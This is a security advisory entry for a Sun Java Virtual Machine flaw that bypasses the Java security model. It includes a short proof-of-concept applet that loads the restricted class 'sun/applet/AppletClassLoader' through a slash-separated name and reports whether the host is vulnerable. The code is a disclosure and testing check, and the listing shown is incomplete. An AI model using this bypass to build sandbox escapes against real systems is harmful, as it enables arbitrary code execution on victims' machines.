31 lines
No EOL
934 B
Java
31 lines
No EOL
934 B
Java
source: https://www.securityfocus.com/bid/8879/info
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A vulnerability has been identified in the Sun Java Virtual Machine packaged with JRE and SDK. This issue results in the circumvention of the Java Security Model, and can permit an attacker to execute arbitrary code on vulnerable hosts.
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import java.applet.Applet;
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import java.awt.Graphics;
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import java.lang.Class;
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import java.security.AccessControlException;
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public class Simple extends Applet {
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StringBuffer buffer;
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public void init() {
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buffer = new StringBuffer();
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}
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public void start() {
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ClassLoader cl = this.getClass().getClassLoader();
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try {
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Class cla =
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cl.loadClass("sun/applet/AppletClassLoader"); // Note the slashes
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addItem("No exception in loadClass. Vulnerable!");
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} catch (ClassNotFoundException e) {
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addItem("ClassNotFoundException in loadClass - " + e);
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} catch (AccessControlException e) {
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addItem("AccessControlException in loadClass - Not
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Vulnerable!");
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}
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} |